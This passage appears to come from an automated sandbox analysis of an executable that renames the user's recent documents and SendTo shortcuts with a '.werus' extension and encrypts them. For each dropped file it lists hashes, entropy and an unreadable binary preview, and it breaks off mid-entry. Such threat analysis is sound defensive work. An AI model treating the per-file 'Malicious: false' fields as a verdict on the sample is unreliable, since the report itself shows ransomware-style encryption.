Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.821497000036275
Encrypted:	false
SSDEEP:	24:0YPNUXAMp3rOIFkow80iwU3OE0j3c7djyad2twiK7bIefAvORXWnWzHZtpDrl:nrG7hJ9wQCMxawx3tXHzHPpDp
MD5:	C25B45E1275B64663E5A00DD6149C464
SHA1:	605C4035C6B6423423ED80816FB570ACCC5BE7A4
SHA-256:	3DED3DBC61F689AF9176F38C1AC612463C7061154E29D2ACB4A3B6D9C9F74F1A
SHA-512:	64DD00423F0FDC86F4BFAA870540062FC8628726C2E452CDA94C73C911F00E615BD69B92310D15B950DC38523F26B1A6724114D774E950A05CEEFF8800AE6691
Malicious:	false
Preview:	.d.g.X..nQ].....aV....U_..U`....c[":......V....c[..Q<.Ax...d.(..y.=\...{.zl[.lC}...A..........f....2.f...J.....k....E..`..I.#.>.`a....OAy......+[~#K..Be5.l.....dS\....M1>..j..C.(..@w..p......UO.^i.~..../...-\|..,.u..-ua.k ]S.{.Pm....{.7J..."u..Ji...r...zq-..cyx^.....@..w...$...6U.f....;9....a..2/&......R;`.%...z<Bsy.W\r....$..Y.6=.6.E... UFU.....9..-.z..v.).:..V.R.9..C.\Rd...+.0..vy.i..4..YH...H".A.v...U..!...(......\.5....hf".9.f..oi2..\|.Vy.'..`D....-.+.T.$...4.....{...s"d..6...,H.E...}..........Qj.'.._..n.k..@......=..."8......J......^.....I_t<I. . {.H/n.31....3c..Pjk....>...t....'.......3<...'os]j9....N....Ds....:N+#.gu.XHU."........h6...r.......w.F.i.+6..C.$......).........`V.W.M...oz.O....p..u...g.Ah!...Ywg....c<e.....d...[.......R......F....[{k$..........."L.OR.!......b..#.....:<.p.....].....!.......9^.W8...U.LOS%.>/h8"....H.....38.7..1..KX.....0zlk.Y:.5X.G.....a.&W5."tG...,.....3...c..[........9..u..2...sG...m.&.?)...r>.k.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.821497000036275
Encrypted:	false
SSDEEP:	24:0YPNUXAMp3rOIFkow80iwU3OE0j3c7djyad2twiK7bIefAvORXWnWzHZtpDrl:nrG7hJ9wQCMxawx3tXHzHPpDp
MD5:	C25B45E1275B64663E5A00DD6149C464
SHA1:	605C4035C6B6423423ED80816FB570ACCC5BE7A4
SHA-256:	3DED3DBC61F689AF9176F38C1AC612463C7061154E29D2ACB4A3B6D9C9F74F1A
SHA-512:	64DD00423F0FDC86F4BFAA870540062FC8628726C2E452CDA94C73C911F00E615BD69B92310D15B950DC38523F26B1A6724114D774E950A05CEEFF8800AE6691
Malicious:	false
Preview:	.d.g.X..nQ].....aV....U_..U`....c[":......V....c[..Q<.Ax...d.(..y.=\...{.zl[.lC}...A..........f....2.f...J.....k....E..`..I.#.>.`a....OAy......+[~#K..Be5.l.....dS\....M1>..j..C.(..@w..p......UO.^i.~..../...-\|..,.u..-ua.k ]S.{.Pm....{.7J..."u..Ji...r...zq-..cyx^.....@..w...$...6U.f....;9....a..2/&......R;`.%...z<Bsy.W\r....$..Y.6=.6.E... UFU.....9..-.z..v.).:..V.R.9..C.\Rd...+.0..vy.i..4..YH...H".A.v...U..!...(......\.5....hf".9.f..oi2..\|.Vy.'..`D....-.+.T.$...4.....{...s"d..6...,H.E...}..........Qj.'.._..n.k..@......=..."8......J......^.....I_t<I. . {.H/n.31....3c..Pjk....>...t....'.......3<...'os]j9....N....Ds....:N+#.gu.XHU."........h6...r.......w.F.i.+6..C.$......).........`V.W.M...oz.O....p..u...g.Ah!...Ywg....c<e.....d...[.......R......F....[{k$..........."L.OR.!......b..#.....:<.p.....].....!.......9^.W8...U.LOS%.>/h8"....H.....38.7..1..KX.....0zlk.Y:.5X.G.....a.&W5."tG...,.....3...c..[........9..u..2...sG...m.&.?)...r>.k.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SBVUSFKOGN.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811687617209545
Encrypted:	false
SSDEEP:	24:8mXYG9JAY9bgiLdk0amc6rc+J0BQSDfCp/XRMf3UuksunGt:8m39OYyoJo+J0BQSDfCxBMvbksunGt
MD5:	E00EC629FB0AD34D9FE2153BFAC9BBE3
SHA1:	975A861E318A64BC60DF76D97CD8AD84FC489CF8
SHA-256:	A5F6CE30B910C6FAE86F6600231924733E62E55609F661EE85F7F4C2ED1C4010
SHA-512:	B11FBE7A026BC42C2AA4F6AFBAFA3FBFEA593C4F728DF9796374C83AE10B4AFFEA30D807B250A052627128430F4C397025CF82171C45AFE054B036B05BDEC3CF
Malicious:	false
Preview:	3..k...T.#..;m<w/T....30'....YF.T....=...W.`.4...\.....>{HMkt.6.K...9..6.`..(6......q'ua.G.B..3zT...eqM....#v}....%.<.#.h....w \...M.("i.....C........H.$<Q.d...I..68...E..0.d...hp...j8...s(..d..21..=...c.......>..!.<....... Y[P....0........!.....md..o.."..R7..9..'&......9.l....#S.A...D.<>....K..d...Bp5....V....o.e..._^n5t..,J..QZ9..D v'.+xj..A..w.`.m.......wH..Y....Eb+..q..HS..t....+.f.c......r\|...t.5 .x....9....yk.....q.:.=O..\Fy.-.=...J........X..u............q>.0.r....o-.s.?..[`.......X.d..).Q.H....fP..e..2]....;@.z.FP.\|.?..Ae%..i..V..znU..A...L........-6......8.w......xG$.os3.s...N.-#...H.../...P.r.X3..&..........TBE.......1.......&...gY.w.a.k. 68.iuL.1gT.?e... ....eU]./.<..J3...$.b.\.8..V.9.........l}.[j....q...........[...=4>q......^,.T,.H.(...._.n.\-9.d..\|..)$.5.....R...~...v....c...c>.x4.u}...o.P..u.....lyi.."-......Vg..Us.3.h.6..*._N...h.$.n.s'.eN4....?.Q....a...6..G.df...v.S.<.i.P.K....<.t.D.s.2.......A%.(.7....^.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811880937163457
Encrypted:	false
SSDEEP:	24:MFfleDrcjqjNw+0qeqEFZ33onDd2QUo+A6KvI+cb:MFNgcjd+bOj34Dd1Uc6AYb
MD5:	EA55D3823A3AF9E812FAC2630A9F4695
SHA1:	471E890F6CBB9E727045ABB2CC6B806CE4AD9740
SHA-256:	494C46726C0C2C807B5B1BEACAA4C2D2B5930E48796394FBAE22B4F0C73C5F1B
SHA-512:	B7CD1EE4ACC91373D514C3BB870425E04DE636EFA425EA1F5E3A34C8EAA11F6F8C3D9E662E1EE5A4D26D2D8173A4716001AE9ECD3845A17A6119FAEF3746FB53
Malicious:	false
Preview:	....w..I.M......+..-t..0.I.^.ue.g..O.s..Q.?uE5.=...91...zp[(r6....E..l5..%^x.Q......M..;.%.D.P(.s..............r.....2B..6J&..)u.../rG...:....@D.x..W.4.....O........6.......1{..C.O...lZ........6=..OZ..M..G..`8.._Q.Z.k......?hr.........l.L...a.3t.....7=...7&S.t(?......c.-"..E....\5."...[..J<.H.....X1.....G;ha..' 6{......q.1`9...n..g....F..o...m...u.o. ..Vu...K....'^6^.x9?..5.S..a..IA.F.\|^O....e..O..8XT..`.I.i...v[...3.t>e.\T.f.U..;}...&/...mr..d.8.....u.VB.Q.:/....[3..v...D6.g..."......Hn.,........G..w.>........$D.b[x....S.....}x[L....GG...<]...:...d...e..m..N..Tf..U...#...c...`cy8...;^.!...R...6.m4.d..#...<.U..~?..r..`hX\|.f...iw%=...1T...`.q.3...y....b}.M.T-..q..:3..I_Um}....FV.....h..{.Z.....#.9...u.O.8..V...}\.v..g=....`.{l..C]g..UX...V)........%...o....q.Cs..+....+.p..W......].E..k...T..m9.JzHNs........@?.X.l..8....... ;..A............,e.e9..Ry..w..T.A..Q.m...+o..3\>.8.VLf...2.m'RT....W!.=/%..!..3.. ..@..vd...s.U.&N.~-.w.9.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811880937163457
Encrypted:	false
SSDEEP:	24:MFfleDrcjqjNw+0qeqEFZ33onDd2QUo+A6KvI+cb:MFNgcjd+bOj34Dd1Uc6AYb
MD5:	EA55D3823A3AF9E812FAC2630A9F4695
SHA1:	471E890F6CBB9E727045ABB2CC6B806CE4AD9740
SHA-256:	494C46726C0C2C807B5B1BEACAA4C2D2B5930E48796394FBAE22B4F0C73C5F1B
SHA-512:	B7CD1EE4ACC91373D514C3BB870425E04DE636EFA425EA1F5E3A34C8EAA11F6F8C3D9E662E1EE5A4D26D2D8173A4716001AE9ECD3845A17A6119FAEF3746FB53
Malicious:	false
Preview:	....w..I.M......+..-t..0.I.^.ue.g..O.s..Q.?uE5.=...91...zp[(r6....E..l5..%^x.Q......M..;.%.D.P(.s..............r.....2B..6J&..)u.../rG...:....@D.x..W.4.....O........6.......1{..C.O...lZ........6=..OZ..M..G..`8.._Q.Z.k......?hr.........l.L...a.3t.....7=...7&S.t(?......c.-"..E....\5."...[..J<.H.....X1.....G;ha..' 6{......q.1`9...n..g....F..o...m...u.o. ..Vu...K....'^6^.x9?..5.S..a..IA.F.\|^O....e..O..8XT..`.I.i...v[...3.t>e.\T.f.U..;}...&/...mr..d.8.....u.VB.Q.:/....[3..v...D6.g..."......Hn.,........G..w.>........$D.b[x....S.....}x[L....GG...<]...:...d...e..m..N..Tf..U...#...c...`cy8...;^.!...R...6.m4.d..#...<.U..~?..r..`hX\|.f...iw%=...1T...`.q.3...y....b}.M.T-..q..:3..I_Um}....FV.....h..{.Z.....#.9...u.O.8..V...}\.v..g=....`.{l..C]g..UX...V)........%...o....q.Cs..+....+.p..W......].E..k...T..m9.JzHNs........@?.X.l..8....... ;..A............,e.e9..Ry..w..T.A..Q.m...+o..3\>.8.VLf...2.m'RT....W!.=/%..!..3.. ..@..vd...s.U.&N.~-.w.9.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811880937163457
Encrypted:	false
SSDEEP:	24:MFfleDrcjqjNw+0qeqEFZ33onDd2QUo+A6KvI+cb:MFNgcjd+bOj34Dd1Uc6AYb
MD5:	EA55D3823A3AF9E812FAC2630A9F4695
SHA1:	471E890F6CBB9E727045ABB2CC6B806CE4AD9740
SHA-256:	494C46726C0C2C807B5B1BEACAA4C2D2B5930E48796394FBAE22B4F0C73C5F1B
SHA-512:	B7CD1EE4ACC91373D514C3BB870425E04DE636EFA425EA1F5E3A34C8EAA11F6F8C3D9E662E1EE5A4D26D2D8173A4716001AE9ECD3845A17A6119FAEF3746FB53
Malicious:	false
Preview:	....w..I.M......+..-t..0.I.^.ue.g..O.s..Q.?uE5.=...91...zp[(r6....E..l5..%^x.Q......M..;.%.D.P(.s..............r.....2B..6J&..)u.../rG...:....@D.x..W.4.....O........6.......1{..C.O...lZ........6=..OZ..M..G..`8.._Q.Z.k......?hr.........l.L...a.3t.....7=...7&S.t(?......c.-"..E....\5."...[..J<.H.....X1.....G;ha..' 6{......q.1`9...n..g....F..o...m...u.o. ..Vu...K....'^6^.x9?..5.S..a..IA.F.\|^O....e..O..8XT..`.I.i...v[...3.t>e.\T.f.U..;}...&/...mr..d.8.....u.VB.Q.:/....[3..v...D6.g..."......Hn.,........G..w.>........$D.b[x....S.....}x[L....GG...<]...:...d...e..m..N..Tf..U...#...c...`cy8...;^.!...R...6.m4.d..#...<.U..~?..r..`hX\|.f...iw%=...1T...`.q.3...y....b}.M.T-..q..:3..I_Um}....FV.....h..{.Z.....#.9...u.O.8..V...}\.v..g=....`.{l..C]g..UX...V)........%...o....q.Cs..+....+.p..W......].E..k...T..m9.JzHNs........@?.X.l..8....... ;..A............,e.e9..Ry..w..T.A..Q.m...+o..3\>.8.VLf...2.m'RT....W!.=/%..!..3.. ..@..vd...s.U.&N.~-.w.9.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YYTXSGEDYK.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.8398741025551555
Encrypted:	false
SSDEEP:	24:93WF56ihQlM1P3gDsV5HWq8G6tC+G7AkSyN1DCwqO6Q5CaXdiM1NZmIe:93Mh1fgDjq8G6HG7A7KVwpMRoMm
MD5:	F7125FE30E51885C7D8EFCE907D06C73
SHA1:	BAF8F008386FC2B48235004380E46A887B1B550B
SHA-256:	157D95A78D555B04501113138A468904629B7BC091A07D7139CA46CCF6B2964D
SHA-512:	E0D346182AD86DD693BCCF3C44F5FB9C2A3CB14AC2E4B1929AEB265CA9B81685B7EC0782A89D0FD70089E50304177E02911EBFD69C0CE2F9A477ACC7918C4C84
Malicious:	false
Preview:	P...V^..Q}].i^.h..5j....f}..$9.HX.u..~I.y[....00.O........~q.......Jo.\|3....7;k.02....J.0..%.(%.&~O\-..b.fgS0.+...^..pMi......K.c...M.........0.\.q.bv..Tf.<..7.W.)...Sv..\|.R[....Y..-2..a&..(.e.m}.'..mW.5....H...e..U....T.'iKM......B....HC.W6......Sq..q...m.r...d.{}w@...4y..h......5n.m>.y..6.re...H..."^'L....wW.t.....Q +yZ.'....4..p.......m8.....nP...........u,.Z......\...`.J..Z.-`.b.1.8....wF.....qI... .iZp &..F....I..{!...............:.....z.........}...9.....V.x.J........Y.%D.e...a.. O.~}]e.?....W6.$.=..".ZN.A6...v?.l.IY]$.+._.....f.#)x.6......5]N.?...^....@...K`..t..L..:S.X....T.....n...l..R.B...`..@......"cd"..~...x.:.\......8..#..Hx.Yx.#..Z...Q.1m>..9..bC...U......z7.._........7.Y~.nF.i.&^%W....4..B..?...<...!v.5.s...p.......H..7..LC...w...wg.K...6.;....`.....N..N.uCS....sc\|,.z..'._.OCC..E.{*...4A.../.+....../..sB.p.V.....!.s.WS4..+.....6.k." .?,Q..R....d......A#..X...82.O.AT..@.e.r..(...zy.\.........2......;'OQ#..+B."4..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZYXFLCGPAD.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.826161873787288
Encrypted:	false
SSDEEP:	24:RL2XWfhyPshi50GHjfaaxGku/iKCaj0+Vi7wMcxsun:x2Wp450ojyIuJCPNun
MD5:	DAA64DFF39FB227EE2F3CBF6855B3C7E
SHA1:	3D9F7ED9069C868CD4E657BD6A6820536654374B
SHA-256:	1A7C52AF697619FE869D66860D7EF581021629A759439ECB360370BA65883E47
SHA-512:	7108E509E4068C81E0D1ECB41A771C047CE0423A6785C851FA299AE5BB3EE078134DE57ECD331E47FAC6F559823B9FFD798D68C032804D6C1381DD1B514C822F
Malicious:	false
Preview:	..]...!........[.c........I...2.V...}..$..s.529.kU{.,8.c.5....k......@.2@....c..mx..$$I...ZF...P..H@..F....P.T.....Q......'2AWc...H.x....Y ...........n.\|.....O...@...,..y..4....#0.]..t6?.4.zak.....<....f.!......Yvow...k@.......EAK.....r U.....@.....G.....c.R.......->Ci..\|~.4.8>..$U.5.\|..S...B...8{.....j.....&.E....0..b9N}.K.....w..H.Z...Tvb.......y...l..A#...+..u..c.A?..f....b...&).>.0.F?..4=...>..S.t.!..!-..Z.(\..X....z...e"N.)5.m....l...QoU?....a..Y\|}..F..I,..aC.p".nqd..).`..(.6...:......z.\5...w....oU.K[.KX..08..1x.=.={2....p..VW.>..#.3C%.2&.+..u+)*O,,N.\|R.B{=.&.s.L.rg..$ `..Ys.s..4..'7).~........'...KRa..#.!/...-5.yja@..w.Bp8.RC..\|XC..&..`.}..i.T6...S..X/....:.q....u.......m.:..N.!....5.J.O..?.8.......j.}...^..`.)0....$.I.!(.i......[.. q..._.....D..y...5aA.rV.......f....0....:`..Z.....\P_....";..6DE.0.6.........B..{.<.J5...,.....Z.'....I.4s..[[[gc....!..L<...d.Y.'.A.^.sI/4y....tr[..Ye(..ddC7IcZ.CF...I....QPH7J..{..G. .hb.9..&.f.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZYXFLCGPAD.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.826161873787288
Encrypted:	false
SSDEEP:	24:RL2XWfhyPshi50GHjfaaxGku/iKCaj0+Vi7wMcxsun:x2Wp450ojyIuJCPNun
MD5:	DAA64DFF39FB227EE2F3CBF6855B3C7E
SHA1:	3D9F7ED9069C868CD4E657BD6A6820536654374B
SHA-256:	1A7C52AF697619FE869D66860D7EF581021629A759439ECB360370BA65883E47
SHA-512:	7108E509E4068C81E0D1ECB41A771C047CE0423A6785C851FA299AE5BB3EE078134DE57ECD331E47FAC6F559823B9FFD798D68C032804D6C1381DD1B514C822F
Malicious:	false
Preview:	..]...!........[.c........I...2.V...}..$..s.529.kU{.,8.c.5....k......@.2@....c..mx..$$I...ZF...P..H@..F....P.T.....Q......'2AWc...H.x....Y ...........n.\|.....O...@...,..y..4....#0.]..t6?.4.zak.....<....f.!......Yvow...k@.......EAK.....r U.....@.....G.....c.R.......->Ci..\|~.4.8>..$U.5.\|..S...B...8{.....j.....&.E....0..b9N}.K.....w..H.Z...Tvb.......y...l..A#...+..u..c.A?..f....b...&).>.0.F?..4=...>..S.t.!..!-..Z.(\..X....z...e"N.)5.m....l...QoU?....a..Y\|}..F..I,..aC.p".nqd..).`..(.6...:......z.\5...w....oU.K[.KX..08..1x.=.={2....p..VW.>..#.3C%.2&.+..u+)*O,,N.\|R.B{=.&.s.L.rg..$ `..Ys.s..4..'7).~........'...KRa..#.!/...-5.yja@..w.Bp8.RC..\|XC..&..`.}..i.T6...S..X/....:.q....u.......m.:..N.!....5.J.O..?.8.......j.}...^..`.)0....$.I.!(.i......[.. q..._.....D..y...5aA.rV.......f....0....:`..Z.....\P_....";..6DE.0.6.........B..{.<.J5...,.....Z.'....I.4s..[[[gc....!..L<...d.Y.'.A.^.sI/4y....tr[..Ye(..ddC7IcZ.CF...I....QPH7J..{..G. .hb.9..&.f.

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth File Transfer.LNK.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1056
Entropy (8bit):	7.8108896543682205
Encrypted:	false
SSDEEP:	24:4/Xj8WPzNdQegAVS7GH3CNZ7vBnSIYlDPLXXUWOZMCS4+KlYKbVRef:4vAWrS7LZNdWDrnOZI4+7KpRK
MD5:	A06EB4B390A2E7F0C03D4753F61577C9
SHA1:	2614DFBEFAFDA2DCA66585F5BB5168919D950503
SHA-256:	D9368783A8B36E542452E83E3FB6CE988182A45C5A43C927AE5FF9810A5B083E
SHA-512:	8743BAB3DC5819D2E775B15505E65D791289ACF016A4714DF77C17C6C4FB4ACBF289D3D963E7EE2A13A4BD14FAD0830FAAEF0CE7973B068A39129DB94919EF34
Malicious:	false
Preview:	.&.........r.....H.b..=.....pM....1.M/N+...JJ...Q.j..i..v.kd.N..I..@.;...t.?......,S#dRlW.6...'?.?_...4.9....r..8...rN().~+.6H...n.S.....6@.y.<H;;\|.L.2>.j...<=..P.......vE'........"....R(..w.$z...0.y.o...A....n&..[K.Q.....`.78.....X.!...7..J.).q~.{.67.L..9Wa..@.......0tE\-..?....>.....h.m.....>..80.q.Gb'A.i...).]hh..9..@...p.Y....7.1.,v...t...]..`..u..V...Go.ia.W7........1z^..M..yj....g..9....].,....@jW.3...)9.H....:k...2.....'..P.....n.....j.R\|..lb..t...?6..[...V..[....9N..(.xX.(L.U.......Y/~.p. BD..0sHnxuJq....q.....-.HX:{...Zt`...y.9D.+..B...A....eM....P.@...........>..s..KP...<;.q.\....K_...L.I...1..L....i=%.;.uy.I-....45J.....v....k...O'.b.lN.....d.U....o.......6........A......EdBo....c.N.U;x......w...x...rT.b.9 ...&p............o...+..SqJ .2.....Z.....s-...\|...7X0.}D. .%.V.U'...J...6.m....]i.....].....3..L..*.}8..,.j..9ebf7...X.6D#......=%$...&...b....wEa..H...>.-uJU..'.e.yxN..h..ta...X..n..%...?w.......?.....c..l+i..q...w...K[e.n.Q..

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Compressed (zipped) Folder.ZFSendToTarget.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:ND5FUANv:XFUov
MD5:	BD499A3CC5E2CA772D28B34305E50FA5
SHA1:	FDA36F77DC471723EB94650E24FDF2AB0DC17651
SHA-256:	5FE9CB1F1A2C42790BD56890103F129785823A4BAC1F90B581FBE7AC303DF338
SHA-512:	9AF0ED885E95C67785A529C93E3283B97B0F8D4BD2D32522E38E4B9D6944848BE615617F371FBFBCF9710E9591E3E355D2AE69C2882BEBF1F6357FCBA4C1220A
Malicious:	false
Preview:	.......1..RO.<(.

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:un7NluXHn:u7NkXn
